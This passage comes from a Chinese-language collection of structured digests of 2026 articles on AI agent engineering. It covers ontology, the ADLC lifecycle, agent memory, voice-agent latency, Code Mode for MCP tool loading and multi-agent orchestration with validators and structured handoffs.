- **知識連結**: 完美回應了前一篇文章《You Probably Don’t Need a Graph Database...》中的觀點。上一篇反對盲目使用 GraphDB（Neo4j），而這篇進一步指出了「重點不是資料庫，而是上層的語義邏輯 (OWL/SHACL)」。不管底層是 GraphDB 還是關聯式資料庫，缺乏嚴謹的本體論工程，AI 就只是個沒有常識的瞎子。
- **深層洞見**: **"Data platforms answer what happened. LLMs estimate what might be relevant. Agents attempt to act. ONTOLOGY defines what things are... and therefore what actions should even be possible." (資料平台回答發生了什麼。LLM 估計什麼可能相關。Agent 試圖行動。而「本體論」定義了事物是什麼... 從而定義了什麼行動才是合法的。) **
- **行動呼籲**:
身為 CTO 或架構師，明天進辦公室後問團隊第一個問題：「我們前五大系統中有多少個定義衝突的商業術語？」如果答案超過 50 個，立刻暫停所有的 Agentic AI 專案，先花 90 天執行 SOEF 的 Stage 1 (語義發現) 與 Stage 2 (領域驅動設計)。沒有語義邊界，Agent 的行動就是一場災難。
系統工程
概念介紹：ADLC — 透過 Agentic Development Lifecycle 打造 Agent 服務系統
"如果你用寫傳統軟體 (SDLC) 的心態來寫 AI Agent，你的專案一定會失控，因為 Agent 是靠「機率」在做事的。我們需要新的 ADLC (代理開發生命週期)：第一，把 Agent 的權限與角色用「行為契約」鎖死；第二，把你寫的 Code 加上高品質的註解，因為現在是 LLM 在讀你的 Code；第三，拋棄憑感覺的測試，改用另一個更強大的 LLM 來當裁判 (評測資料集)；最後，裝上監控雷達 (Tracing)，盯緊 Agent 每一步到底呼叫了什麼工具。這才是將 AI 導入企業的正確工程姿勢。"
---
tags: [系統工程, 開發框架]
date: 2026-04-28
source: "20260512_2026-05-06T095752+0800- 概念介紹 ADLC 開發方式 — 透過 Agentic Development Lifecycle 開發模式，打造 Agent 服務系統.md"
---
# 概念介紹：ADLC — 透過 Agentic Development Lifecycle 打造 Agent 服務系統
原始來源與檔名：20260512_2026-05-06T095752+0800- 概念介紹 ADLC 開發方式 — 透過 Agentic Development Lifecycle 開發模式，打造 Agent 服務系統.md
來源：[[Simon Liu]] / Medium — 2026-04-28
原始檔名：`2026-05-06T095752+0800- 概念介紹 ADLC 開發方式 — 透過 Agentic Development Lifecycle 開發模式，打造 Agent 服務系統.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Traditional SDLC (Deterministic) -> Unit Tests pass, predictable path.
> AI ADLC (Probabilistic) -> Semantic Drift + Non-linear Planning -> LLM-as-a-Judge Evaluation + Behavioral Contracts.
> ADLC 4 Pillars = Architectural Integrity + Semantic Tooling + Scientific Evaluation + Observability/IaC.
_傳統的軟體開發生命週期 (SDLC) 是建立在「決定論」上的，輸入 A 必然得到 B。但進入 Agentic AI 時代，AI 具有隨機性、自主規劃能力，甚至會產生「語義漂移 (Semantic Drift)」。傳統的單元測試根本防不住它。因此，工程界提出了 ADLC (Agentic Development Lifecycle)。ADLC 將焦點從「寫程式邏輯」轉向「定義行為契約 (Persona/Scope)」、「撰寫給 LLM 看的工具說明書 (Docstrings)」、「利用模型當裁判進行自動化語義評測 (LLM-as-a-Judge)」，最後透過可觀測性工具 (如 OpenTelemetry) 追蹤它的思考軌跡。只有用不確定性的工程思維來管理不確定性的系統，Agent 才能真正進入企業生產環境。_
### 一句話
> 如果你用寫傳統軟體 (SDLC) 的心態來寫 AI Agent，你的專案一定會失控，因為 Agent 是靠「機率」在做事的。我們需要新的 ADLC (代理開發生命週期)：第一，把 Agent 的權限與角色用「行為契約」鎖死；第二，把你寫的 Code 加上高品質的註解，因為現在是 LLM 在讀你的 Code；第三，拋棄憑感覺的測試，改用另一個更強大的 LLM 來當裁判 (評測資料集)；最後，裝上監控雷達 (Tracing)，盯緊 Agent 每一步到底呼叫了什麼工具。這才是將 AI 導入企業的正確工程姿勢。
### 餐巾紙草圖
```text
[ SDLC vs ADLC ]
SDLC (Software):
Code Logic -> Unit Tests (Deterministic) -> CI/CD Deployment.
*If input == 1, output == 2.
ADLC (Agentic):
Behavior Contract (Persona/Tools)
-> Semantic Tooling (Docs for LLM)
-> Scientific Eval (LLM-as-a-Judge on Golden Datasets)
-> IaC & Observability (Tracing reasoning paths).
*If input == 1, Agent plans steps -> Uses Tool A -> Outputs probabilistic answer.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **背景**: 開發模式正從 Chatbot (生成與搜尋) 轉向 Agent (規劃與執行)。但傳統的 SDLC 無法承載具備隨機性與自治性的 Agent 系統。
- **為何傳統 SDLC 失效**:
1. **行為非線性**: Agent 自主規劃步驟，輸入相同路徑卻不同，無法被傳統邊界測試覆蓋。
2. **語義漂移**: 工具越來越多時，Agent 可能會因為 Context 變長而誤解工具的定義 (誤調用)。
3. **高耦合度**: Agent 依賴 Vector DB、API、MCP、記憶管理等複雜關聯。
- **ADLC 的四大核心**:
1. **標準化與行為契約**: 定義 Persona (角色邊界)、Skill Mapping (嚴謹的工具 Schema) 與 Memory Strategy (記憶策略)。
2. **語義驅動的開發與工具化**: 寫給 LLM 看的「使用說明書」。高品質 Docstrings (包含適用場景、副作用)。避免複雜重疊的工具。
3. **基於模型裁判的評測科學**: 放棄 Vibe Check (體感測試)。建立 Golden Datasets，引入 LLM-as-a-Judge 進行多維度打分與 Groundedness (真實性) 檢測。
4. **基礎設施即代碼 (IaC) 與可觀測性**: 使用 Terraform 管理雲端資源。透過 OpenTelemetry 等標準實現 Tracing，將思考路徑視覺化。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **從「控制邏輯」到「控制機率」**: 在 ADLC 中，開發者的角色發生了轉移。以前你是在編譯器前寫下 `if/else` 確保程式不崩潰；現在，你是在寫嚴謹的「行為契約」與「工具副作用說明 (Docstring)」，試圖在語義空間 (Semantic Space) 中約束 LLM 的幻覺。
2. **評測是 Agent 上線的唯一保證**: 既然行為是非線性的，單元測試就失去了意義。唯有透過「建立標準題庫 (Golden Datasets)」並讓更聰明的模型 (如 GPT-4 評測 GPT-3.5) 進行「語義對齊檢查」，才能量化一個 Agent 在生產環境中的穩定性。
### 關鍵證據
- 作者點出了一個非常實務的痛點：「語義漂移」。當 Agent 只有 2 個工具時它百發百中；當你有 20 個工具時，它會開始搞混「計算機」與「匯率轉換器」的適用場景。這不是 Code 寫錯了，而是工具邊界定義不明確導致的認知過載。
### 邊界條件
- **資源與認知門檻**: ADLC 需要極高的基礎設施成本。建立 Golden Datasets 需要大量人工標註；執行 LLM-as-a-Judge 會消耗大量 API 成本；導入 Tracing 與 IaC 需要 DevOps 團隊的支援。這對於只是想做個玩具 Side Project 的開發者來說過於沈重，但對企業級應用則是不可妥協的底線。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美總結並串接了前面幾篇文章的概念。
- 對應了《What Apple’s Leaked CLAUDE.md Teaches Us》：Apple 的 CLAUDE.md 就是一種「行為契約」。
- 對應了《Building an AI Agent from Scratch》與《Getting Started with Foundry Hosted Agents》：強調工具設計必須清晰且解耦。
- 對應了《Ontology Engineering as the Semantic OS》：指出系統必須具備 Semantic Tooling 與可被觀測的特性。
- **深層洞見**: **"You write code not just for the compiler anymore, but as an instruction manual for the LLM." (你寫的程式碼不再只是給編譯器看，更是給 LLM 看的使用說明書。) ** 這句話徹底改變了軟體工程學的視角。在 Agent 時代，註解 (Comments / Docstrings) 不再是附屬品，它們本身就是「執行邏輯」的一部分。
- **行動呼籲**:
如果你正在開發一個具備 Function Calling / Tools 的 Agent，立刻停止寫新的功能。回頭檢視你所有的工具定義 (Docstring)，問自己三個問題：它有沒有寫明「何時該用」？有沒有寫明「參數限制」？有沒有警告 LLM「這個工具有什麼副作用」？把語義對齊做好，你的 Agent 智商會立刻上升 20%。
系統工程
當 Karpathy 的第二大腦遇上 Agent：為何人類的筆記系統對機器是場災難
"不要把你的 Obsidian 筆記本直接塞給 AI Agent 當大腦。人類的筆記是寫來「閱讀」的，充滿了敘事與過時的上下文；但 Agent 需要的是像資料庫一樣的「結構化記憶」——它只需知道你現在喜歡什麼顏色，而不是閱讀你過去十年對顏色的心路歷程。當 Agent 開始高頻率地寫入與讀取時，如果沒有「權重評分、衝突解決、自動衰退」機制的記憶系統，Agent 就會被塞滿垃圾 Context 而精神分裂。"
---
tags: [系統工程, 開發工具]
date: 2026-04-28
source: "20260512_2026-05-05T094222+0800-Why Karpathy’s Second Brain Breaks at Agent Scale. How Mercury Solves It..md"
---
# 當 Karpathy 的第二大腦遇上 Agent：為何人類的筆記系統對機器是場災難
原始來源與檔名：20260512_2026-05-05T094222+0800-Why Karpathy’s Second Brain Breaks at Agent Scale. How Mercury Solves It..md
來源：[[@Ctrl_Alt_Zaid]] / X (Twitter) — 2026-04-28
原始檔名：`2026-05-05T094222+0800-Why Karpathy’s Second Brain Breaks at Agent Scale. How Mercury Solves It..md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Human Memory = Markdown (Readable, Browsable, Narrative).
> Agent Memory = Structured State (Fast retrieval, Low token cost, Conflict resolution, Decay).
> Hybrid Architecture (Mercury) = Markdown for Humans + Structured Substrate for Agents.
_Andre Karpathy 提出的「LLM Wiki」模式（把資料丟進資料夾，讓 LLM 轉成 Markdown 並在 Obsidian 瀏覽）在人類知識管理上非常成功。但當使用者變成一個「全天候運行的自主 Agent」時，這個架構會徹底崩潰。這篇文章精準分析了人類記憶與機器記憶的核心差異。人類需要「閱讀」，而 Agent 需要「在極低的 Token 成本下，瞬間提取最新、最精準的狀態」。未來的 Agent 基礎設施（如 Mercury）必須是混合架構：表層是人類可讀的 Markdown，底層是高度結構化、帶有權重與生命週期的機器記憶體。_
### 一句話
> 不要把你的 Obsidian 筆記本直接塞給 AI Agent 當大腦。人類的筆記是寫來「閱讀」的，充滿了敘事與過時的上下文；但 Agent 需要的是像資料庫一樣的「結構化記憶」——它只需知道你現在喜歡什麼顏色，而不是閱讀你過去十年對顏色的心路歷程。當 Agent 開始高頻率地寫入與讀取時，如果沒有「權重評分、衝突解決、自動衰退」機制的記憶系統，Agent 就會被塞滿垃圾 Context 而精神分裂。
### 餐巾紙草圖
```text
[ The Memory Divergence ]
Karpathy's LLM Wiki (Human-Optimized):
- Format: Flat Markdown files.
- Goal: Browsing, Reflection, Synthesis.
- Flaw at Scale: Reads 5000 tokens just to find 1 boolean state.
Agentic Memory (Machine-Optimized):
- Format: Graph/KV + Vector + Metadata.
- Goal: Deterministic retrieval, selective injection.
- Features: Scoring (Freshness/Confidence), Conflict Resolution, Decay.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **Karpathy 模式的優點**: 打破了 LLM「檢索->回答->遺忘」的循環，讓知識以 Markdown 格式在本地持續積累。
- **人類記憶 vs Agent 記憶的根本衝突**:
- 人類需要：可讀性、瀏覽、反思。
- 機器需要：快速檢索、低 Token 成本、狀態持久化、衝突解決。
- **Markdown 筆記在 Agent 規模下的 5 大崩潰點**:
1. **需要事實而非頁面**: Agent 通常只需要一個變數（例如部署目標），載入整頁 Markdown 是極大的浪費。
2. **Token 預算**: 無關的 Token 會增加成本、延遲並帶來幻覺風險。
3. **記憶漂移 (Memory Drift)**: 舊的決策或偏好如果與新資訊權重相同，Agent 會基於過期的狀態進行推理。
4. **排序大於儲存**: 儲存很容易，但在龐大記憶中判斷「什麼是最新的、最相關的」非常困難。
5. **連續寫入的壓力**: Agent 可能每執行一個任務就會寫入記憶，它需要的是結構化的資料庫，而不是筆記本。
- **解決方案 (Mercury 架構)**:
- 混合式架構：Markdown 作為介面（人類的筆記、身份設定），結構化記憶體作為底層（Agent 的事實、狀態、時間戳記與權重）。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Context Window 是一種稀缺資源（甚至是負債）**: 許多人誤以為 Context 越大越好，但文章精準指出，對於全天候運行的 Agent 來說，塞入無關的 Token 是一種「結構性浪費 (Structural waste)」。每一次呼叫多花 1000 個 Token，累積起來就是天價的成本與延遲。
2. **靜態文本無法處理狀態衝突**: 如果筆記 A 寫著「專案使用 Python」，筆記 B 寫著「專案改用 Rust」，當 Agent 同時檢索到兩者時會產生邏輯死鎖。「沉默的矛盾就是系統的失敗 (Silent contradiction is failure)」，機器記憶必須內建規則引擎來解決衝突（例如：最新者勝、高信心度者勝）。
### 關鍵證據
- 從第一代 AI (生成答案) 到下一代 AI (維持上下文) 的範式轉移。當前的大多數 RAG 系統只負責「檢索」，卻缺乏了「衰退 (Decay)」與「評分 (Scoring)」機制，導致系統越用越笨重。
### 邊界條件
- **適用場景的切分**: 文章並沒有否定 Karpathy 的做法，而是明確劃定了邊界：如果是為了人類的學習與知識累積，Markdown Wiki 完美無缺；但如果是為了驅動無人值守的自動化軟體 (Autonomous Software)，就必須上結構化記憶。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了上一篇《AI 的經濟帳根本算不通》。Agent 為什麼會把企業的錢燒光？因為它們在「檢索」時缺乏精準的 Context 管理，把整本筆記本餵給 Claude 3.5 Sonnet 只為找一個變數，這就是 Token 破產的元兇。
- **深層洞見**: **"An agent that remembers everything equally eventually remembers poorly."（一個平等地記住所有事情的 Agent，最終什麼也記不好。）** 這句話充滿哲理。記憶的本質不僅是「記住」，更是「遺忘（衰退）」。沒有遺忘機制的系統，最終會被雜訊淹沒。
- **行動呼籲**:
在設計 Agent 的記憶體時，停止無腦使用單純的 Vector DB + RAG。引入關聯式資料庫 (SQLite) 或 KV Store 來記錄「狀態 (State)」，並且為每一條記憶打上 Metadata（時間戳記、信心分數）。讓 Agent 像讀取環境變數一樣讀取狀態，而不是像看小說一樣閱讀歷史。
系統工程
語音 Agent 101：會對話的 AI 背後的架構與延遲挑戰
"做一個好用的語音 AI，不是把 ChatGPT 接上喇叭這麼簡單。人類講話的延遲容忍度是 500 到 800 毫秒。如果你的系統是等使用者講完、轉成文字、丟給 LLM、拿到回答再轉成語音，那延遲肯定破 2 秒。真正的語音工程，是在 LLM 剛吐出第一個單字時，TTS 就要同步開始發聲 (Streaming)；同時系統還要全時開啟 VAD (語音活動偵測)，只要使用者一插嘴，AI 就要立刻閉嘴 (Barge-in)。語音 Agent 本質上是一個毫秒必爭的「延遲工程學」。"
---
tags: [系統工程, AI技術]
date: 2026-05-06
source: "20260512_2026-05-12T093219+0800-Voice Agents 101 The Architecture Behind AI That Talks Back.md"
---
# 語音 Agent 101：會對話的 AI 背後的架構與延遲挑戰
原始來源與檔名：20260512_2026-05-12T093219+0800-Voice Agents 101 The Architecture Behind AI That Talks Back.md
來源：[[@manthanguptaa]] / X — 2026-05-06
原始檔名：`2026-05-12T093219+0800-Voice Agents 101 The Architecture Behind AI That Talks Back.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Voice Agent = STT + LLM + TTS.
> Constraint: Total Latency < 800ms.
> Solution to Latency = Streaming (overlapping stages).
> Human Conv = Full-Duplex (requires VAD + Barge-in + Echo Cancellation).
_當你把文字 Agent 直接接上語音輸入輸出，聽起來就像是在跟 2003 年的衛星電話溝通。這篇文章深入解剖了語音 Agent 的底層架構：從傳統的級聯架構 (Cascade: 語音轉文字 -> LLM -> 文字轉語音) 到新興的端到端語音模型 (End-to-End)。在語音互動中，工程師對抗的最大敵人是「延遲 (Latency)」—回應時間若超過 800 毫秒，對話就會顯得極不自然。要打造流暢體驗，不僅需要即時串流 (Streaming) 技術，還要解決全雙工對話中的「插話打斷 (Barge-in)」、噪音環境辨識以及語音專屬的提示詞工程（嚴禁出現 Markdown）。_
### 一句話
> 做一個好用的語音 AI，不是把 ChatGPT 接上喇叭這麼簡單。人類講話的延遲容忍度是 500 到 800 毫秒。如果你的系統是等使用者講完、轉成文字、丟給 LLM、拿到回答再轉成語音，那延遲肯定破 2 秒。真正的語音工程，是在 LLM 剛吐出第一個單字時，TTS 就要同步開始發聲 (Streaming)；同時系統還要全時開啟 VAD (語音活動偵測)，只要使用者一插嘴，AI 就要立刻閉嘴 (Barge-in)。語音 Agent 本質上是一個毫秒必爭的「延遲工程學」。
### 餐巾紙草圖
```text
[ Voice Agent Streaming Architecture ]
User Speaks
--> VAD detects end of speech
--> STT (Deepgram: ~200ms)
--> Transcript hits LLM
--> LLM Streams TTFT (Time To First Token: ~400ms)
--> TTS catches token, buffers 5 words, starts speaking (Cartesia: ~150ms)
Total Latency ~750ms.
*Barge-in: If VAD detects user speaking again, immediately KILL TTS stream and restart pipeline.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **兩種主要架構**:
- **Cascade (級聯)**: STT (語音轉文字) -> LLM -> TTS (文字轉語音)。優點是可控性極高、元件可替換；缺點是延遲高、會丟失情緒和語調上下文。
- **End-to-End (端到端)**: 如 GPT-4o Realtime、Moshi。直接語音進、語音出。延遲極低 (200-300ms)，能帶情緒。缺點是難以除錯、工具調用 (Tool calling) 較弱、成本極高。
- **延遲預算 (Latency Budget)**:
- 必須壓在 500-800ms 內。
- 唯一解法是 **Streaming (串流)**：LLM 逐字輸出，TTS 接收到 5-15 個字元後立刻開始合成發聲，而不是等整句話說完。
- **全雙工 (Full-Duplex) 與打斷 (Barge-in)**:
- 半雙工是對講機模式 (一次只能一人說話)。全雙工是人類說話模式 (可插話)。
- 打斷技術的挑戰：需要極快的 VAD (語音活動偵測) 來分辨是使用者講話還是環境噪音，並且需要回音消除 (Echo Cancellation) 避免 AI 聽到自己的聲音。
- **給語音 LLM 的提示詞**:
- 絕對不要輸出 Markdown、列點、標題。
- 使用短句、口語化詞彙、縮寫 (I'll, you're)。
- 適當加入填補詞 ("let me think about that for a moment") 爭取計算時間。
- **未解決的難題**: 嘈雜環境辨識、多說話者分離 (Speaker diarization)、超長語音對話的上下文記憶。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **文字工程與語音工程是完全不同的領域**: 在文字對話中，3 秒鐘的等待時間使用者是可以接受的（看著打字機特效）。但在語音對話中，電話那頭沉默 3 秒，使用者會以為斷線了。因此，語音工程的第一公民是「時間 (Milliseconds)」。
2. **端到端模型目前無法完全取代級聯模型**: 雖然 GPT-4o 的語音模式令人驚豔，但在企業級生產環境（客服、業務）中，企業需要絕對的「可觀測性」和「結構化輸出 (JSON)」，這正是端到端語音模型目前的弱項。因此 2026 年的主流架構依然是極致最佳化的 Cascade。
### 關鍵證據
- 拆解了 Naive pipeline (串列處理，延遲高達 1.95s) 與 Streaming pipeline (管線交疊處理，延遲可降至 500ms 左右) 的具體時序差異。並透過 40 行的 Pipecat 框架程式碼範例，證明現在透過成熟框架整合 WebRTC、VAD 與 LLM，已經變得非常容易。
### 邊界條件
- **電話網路的物理限制**: 如果語音 Agent 部署在傳統 PSTN 電話網路 (如 Twilio) 上，電話網路本身的 Jitter buffer 就會吃掉 150-200ms 的延遲預算。在這種環境下，要達到人類體感的順暢度難度倍增。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了上一篇早報提到的「Voice AI 何時迎來 Her 時刻」，進一步從技術實作層面解釋了 200 毫秒延遲和全雙工的困難度所在。
- **深層洞見**: **"A 98% accurate transcription that takes 800ms to produce is often worse than a 95% accurate one that takes 150ms."** 在語音互動中，「速度」本身就是一種「正確性」。一個精確但反應遲鈍的 AI 助理，比一個偶爾聽錯但反應機敏的 AI 更讓人抓狂。這挑戰了傳統 AI 開發者「準確率至上」的信仰。
- **行動呼籲**:
如果你正在為公司開發語音客服 Agent，請立即審查你的 System Prompt。如果你沒有在裡面明確寫上「嚴禁使用條列式、Markdown，並請使用自然口語短句回答」，你的 Agent 唸出來的腳本聽起來一定會像是在讀維基百科。將文字輸出「降級」為日常口語，是提升語音 AI 體驗的第一步。
系統架構
MCP 與 CLI 的爭論是個偽命題：迎接 Code Mode 時代 (Code Mode: The Real Answer to the MCP vs CLI Debate)
"本文解構了 2025 年 AI 領域最激烈的架構爭論：連接工具該用 MCP 協議還是直接開放 CLI 權限。作者指出這是一個錯誤的二元對立。真正的突破點在於 "Code Mode"（代碼模式）：讓大模型在 Runtime 中「編寫代碼」來動態載入工具，而不是在對話一開始就把所有工具的定義塞進上下文。對於常見的系統操作，Agent 使用 Bash；對於特定的私有 API，Agent 透過 TypeScript 來精準載入 MCP 型別定義，實現了安全與效率的完美融合。"
---
tags: [系統架構, 系統設計, AI工具, 模型推理, 軟體架構]
date: 2026-05-10
source: "20260512_2026-05-12T093148+0800-MCP vs CLI was the wrong debate.md"
---
# MCP 與 CLI 的爭論是個偽命題：迎接 Code Mode 時代 (Code Mode: The Real Answer to the MCP vs CLI Debate)
原始來源與檔名：20260512_2026-05-12T093148+0800-MCP vs CLI was the wrong debate.md
來源：[[@akshay_pachaar]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093148+0800-MCP vs CLI was the wrong debate.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The Old Way = Load ALL tool schemas into context upfront (150K tokens) -> Expensive & Slow
> The New Way (Code Mode) = Agent writes code to call tools + Lazy Loading
> Code Mode = Bash (for standard CLIs) + Typed Module Imports (for proprietary APIs via MCP)
> Result = Type safety of MCP + Speed of CLI + 98% reduction in token cost.
_2025 年 AI 工程師為「該用 MCP 還是直接給 Shell」吵翻了天。MCP 提供了嚴謹的型別約定，但把所有工具的 Schema 一次塞進 Prompt 會吃掉海量 Token (動輒幾萬)；給 CLI Shell 很輕量，但缺乏結構化回傳，模型常在猜測。Anthropic 與 Cloudflare 用 "Code Mode" 終結了這個蠢問題：不要把工具定義放在 Context 裡！讓 Agent 直接「寫程式」引入它需要的工具。這保留了 MCP 的型別安全，並將 Token 消耗砍了 98%。_
### 一句話
> 本文解構了 2025 年 AI 領域最激烈的架構爭論：連接工具該用 MCP 協議還是直接開放 CLI 權限。作者指出這是一個錯誤的二元對立。真正的突破點在於 "Code Mode"（代碼模式）：讓大模型在 Runtime 中「編寫代碼」來動態載入工具，而不是在對話一開始就把所有工具的定義塞進上下文。對於常見的系統操作，Agent 使用 Bash；對於特定的私有 API，Agent 透過 TypeScript `import` 來精準載入 MCP 型別定義，實現了安全與效率的完美融合。
### 餐巾紙草圖
```text
[The Evolution of Tool Calling]
❌ Old MCP: Agent enters a room with every tool laid out on the table.
Prompt: System + [Playwright Schema] + [Git Schema] + [Salesforce Schema] -> 150k tokens.
❌ Pure CLI: Agent guesses how to use proprietary systems without docs.
✅ Code Mode: Agent writes a script that imports ONLY what it needs.
Agent outputs:
```typescript
import { updateCRM } from "@tools/salesforce"; // <--- Schema loads ONLY here
await updateCRM({ data });
```
Result: 2k tokens. Perfect contract.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **爭論背景**: 2025 年的兩派之爭。
- **MCP 懷疑派**: 成本太高。Playwright 吃掉 13.7K tokens，Chrome DevTools 吃掉 18K。什麼都還沒做就先燒了 5 萬 tokens。
- **CLI 防禦派**: CLI 在多租戶應用中容易崩潰，且缺乏「型別契約 (Typed contracts)」，Agent 面對陌生的內部 API 時只能盲猜。
- **重新定義問題 (The Reframe)**: 問題不在於通訊協議，而在於「在一開始把所有工具描述硬塞進 Context」的壞習慣。
- **Code Mode (代碼模式)**: Anthropic 在 2025 年底發布了 "Code execution with MCP"，改變了遊戲規則。模型的工作從「在對話框裡呼叫工具」變成了「寫一段程式碼，透過 Runtime 呼叫工具」。
- **兩大基本原語**:
1. **Bash**: 用於所有內建命令 (git, grep, curl)。模型在預訓練時早就看過無數遍，不需再浪費 token 解釋。
2. **Typed Module Imports (型別模組載入)**: 用於專有 API (Salesforce, 內部系統)。Agent 像寫 TypeScript 一樣 `import` 特定模組。
- **三大好處**:
1. 型別簽章只有在 `import` 發生的那一刻才載入，實現 Lazy Loading。
2. 大量資料（如檔案列表）在程式碼中被處理、過濾，只把「摘要」返回給大模型，避免污染上下文。
3. 迴圈與轉換在原生代碼中執行，不再需要依賴模型的 ReAct 迴圈。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Token 的幾何級數爆炸**: 作者精準打擊了舊模式的痛點：Schema + 原始回傳數據雙向塞滿 Context Window。在 Anthropic 的例子中，原本需要來回傳遞的 Transcript 資料，在 Code Mode 中只是一段代碼裡的變數，根本不進 LLM 的 Context。這直接帶來了從 150K 到 2K tokens (98.7%) 的成本雪崩。
2. **目錄牆上的工具 vs 桌上的工具**: 這是一個極佳的隱喻。以前是強迫 Agent 在開工前背下所有工具的說明書（在系統提示詞中）；現在是給 Agent 一個目錄，它決定要用哪個，才去牆上（import）把那份說明書拿下來。
3. **沒有誰取代誰，而是相互融合**: MCP 提供了關鍵的「型別契約 (Type safety)」，CLI 提供了「延遲載入 (Lazy loading) 的靈活性」。Code Mode 是一個能將兩者完美縫合的 Runtime。
### 關鍵證據
- 引用了 Cloudflare 的實踐：他們將包含 2500 個端點的 1.17M tokens 的龐大 API 目錄，壓縮到只剩下兩個工具 `search` 和 `execute`，耗費 1K tokens。Agent 自己寫程式去搜尋需要的端點再執行，這徹底證明了動態檢索工具的可行性。
### 邊界條件
- Code Mode 將系統的穩定性高度押注於大模型的「編程能力 (Coding ability)」。如果模型寫出有語法錯誤的 TypeScript，或是不懂得正確的 Import 路徑，整個鏈路依然會斷裂。這也就是為什麼 Code Mode 必須搭配頂級編程模型 (如 Opus 5 或 Codex-Spark) 與安全的 Sandbox 才能運作。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了 Garry Tan 的 `Skillify` 和《Agent Harness Engineering》。這篇文章揭示了 Harness 底層的 Tool Dispatch Registry 到底該長什麼樣子——不是一個臃腫的 JSON Schema 集合，而是一個支援動態 Import 的 TypeScript Runtime！
- **深層洞見**: **"Tool definitions belong in code, not in context. The model writes a few lines that call them. The runtime does the rest." (工具定義屬於代碼庫，不屬於大模型的上下文。模型只寫幾行呼叫它們的代碼，剩下的由執行環境搞定。) ** 這徹底宣告了「巨型 System Prompt 時代」的終結。未來的提示詞會越來越薄，而外圍的 Runtime 會承接所有複雜度。
- **行動呼籲**:
如果你還在把 10 個以上的自訂 Function/Tool 寫死在給 OpenAI 或 Anthropic API 的請求裡，立刻停止。開始重構你的應用，將工具封裝成獨立腳本，只告訴模型：「你需要什麼，自己寫一行腳本去呼叫它」。你的 API 帳單會立刻縮水一半以上。
系統架構
如何打造長期運行的 Multi-Agent 工程系統 (Building Multi-Agent Engineering Systems)
"本文總結了 Factory 核心開發者 Luke 關於建構 Multi-Agent 系統的深度演講。文章首先梳理了多 Agent 協作的五種模式，接著詳細解剖了 Missions 系統的架構（Orchestrator、Workers、Validators）。其最核心的洞見在於：多天任務不能依賴記憶，必須依賴「結構化交接」與「提前定義的驗證契約」；且系統應採用「串行主幹 + 局部並行」而非全並行，以避免代碼庫衝突。"
---
tags: [系統架構, Agent架構, 系統設計, 軟體工程, 最佳實踐]
date: 2026-05-10
source: "20260512_2026-05-12T093124+0800-如何打造 Multi-Agent 工程系统.md"
---
# 如何打造長期運行的 Multi-Agent 工程系統 (Building Multi-Agent Engineering Systems)
原始來源與檔名：20260512_2026-05-12T093124+0800-如何打造 Multi-Agent 工程系统.md
來源：[[@SaitoWu]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093124+0800-如何打造 Multi-Agent 工程系统.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Long-running Agent = Orchestrator (Plan + Contract) + Workers (Implement) + Validators (Adversarial Testing) + Structured Handoff
> The Bitter Lesson of Agents = Keep orchestration logic in Prompts/Skills, NOT hard-coded in Python.
_軟體工程的瓶頸已不再是 AI 的智商，而是「人類的注意力」。單一 Agent 只能做短任務，而 Factory 的 Missions 系統展示了如何讓一個 Agent 團隊連續跑上 30 天來完成大型代碼遷移。核心秘訣在於：在寫代碼前先定義「驗證契約 (Validation Contract)」；用全新的 Agent 來進行對抗性測試；以及強制執行「結構化交接 (Structured Handoff)」來防止上下文在長線任務中漂移。_
### 一句話
> 本文總結了 Factory 核心開發者 Luke 關於建構 Multi-Agent 系統的深度演講。文章首先梳理了多 Agent 協作的五種模式，接著詳細解剖了 Missions 系統的架構（Orchestrator、Workers、Validators）。其最核心的洞見在於：多天任務不能依賴記憶，必須依賴「結構化交接」與「提前定義的驗證契約」；且系統應採用「串行主幹 + 局部並行」而非全並行，以避免代碼庫衝突。
### 餐巾紙草圖
```text
[The Missions Architecture for Long-running Tasks]
[ Orchestrator ] -> Creates: 1. Plan 2. Validation Contract (Must exist BEFORE coding)
|
[ Worker 1 ] -----> Implements feature -> Fills out [ Structured Handoff ]
|
[ Validator ] ----> (Adversarial) Runs tests & Code Review Agent -> Fails? -> Spawns Follow-up
|
[ Worker 2 ] -----> Reads Handoff (Clean state) -> Implements next feature
* Avoid Full Parallelism: Keep Trunk Serial, but make read-only tasks (Search, Review) Parallel.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **五種協作模式**: Delegation (委派), Creator-Verifier (創造者與驗證者), Direct Communication (直接溝通), Negotiation (協商), Broadcast (廣播)。
- **Missions 角色**:
- **Orchestrator**: 不寫代碼，只負責拆解目標，輸出 Plan 和 Validation Contract (驗收標準)。
- **Workers**: 拿到乾淨上下文後寫代碼。
- **Validators**: 嚴格驗證。
- **提前驗證 (Validation Contract)**: 這是系統不漂移的關鍵。驗收標準必須在寫代碼前就定好，避免「測試遷就實作」。
- **對抗性驗證**: Scrutiny Validator 啟動一個沒參與過實作的 Code Review Agent；User Testing Validator 用 Computer Use 實際點擊頁面。兩者都沒有沉沒成本。
- **結構化交接 (Structured Handoff)**: 任務交接不能靠歷史對話，必須填寫交接單（做了什麼、exit code 是多少、留下什麼問題）。
- **架構取捨**:
